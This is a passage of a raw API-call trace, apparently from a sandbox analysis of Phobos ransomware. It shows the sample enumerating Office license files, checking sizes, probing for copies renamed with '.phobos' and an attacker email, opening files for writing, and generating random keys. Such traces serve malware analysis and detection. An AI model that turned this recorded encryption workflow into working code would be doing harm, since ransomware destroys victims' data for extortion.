office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.962] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19931) returned 1 [0152.962] CloseHandle (hObject=0x580) returned 1 [0152.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms")) returned 0x220 [0152.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.962] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.963] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20776) returned 1 [0152.963] CloseHandle (hObject=0x580) returned 1 [0152.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms")) returned 0x220 [0152.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.963] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.963] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11599) returned 1 [0152.963] CloseHandle (hObject=0x580) returned 1 [0152.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.964] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.964] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10643) returned 1 [0152.964] CloseHandle (hObject=0x580) returned 1 [0152.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms")) returned 0x220 [0152.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.965] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.965] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20781) returned 1 [0152.965] CloseHandle (hObject=0x580) returned 1 [0152.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.966] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.966] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11592) returned 1 [0152.966] CloseHandle (hObject=0x580) returned 1 [0152.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.966] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.032] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19937) returned 1 [0153.032] CloseHandle (hObject=0x564) returned 1 [0153.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.032] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.033] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20779) returned 1 [0153.033] CloseHandle (hObject=0x564) returned 1 [0153.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms")) returned 0x220 [0153.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.033] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.034] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11614) returned 1 [0153.034] CloseHandle (hObject=0x564) returned 1 [0153.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.034] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.035] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10655) returned 1 [0153.035] CloseHandle (hObject=0x564) returned 1 [0153.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.035] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.035] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20784) returned 1 [0153.035] CloseHandle (hObject=0x564) returned 1 [0153.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.036] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.036] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11607) returned 1 [0153.036] CloseHandle (hObject=0x564) returned 1 [0153.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.037] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19952) returned 1 [0153.037] CloseHandle (hObject=0x564) returned 1 [0153.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.038] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.038] CloseHandle (hObject=0x564) returned 1 [0153.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms")) returned 0x220 [0153.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.038] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.038] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20782) returned 1 [0153.039] CloseHandle (hObject=0x564) returned 1 [0153.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms")) returned 0x220 [0153.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.039] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11599) returned 1 [0153.039] CloseHandle (hObject=0x564) returned 1 [0153.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 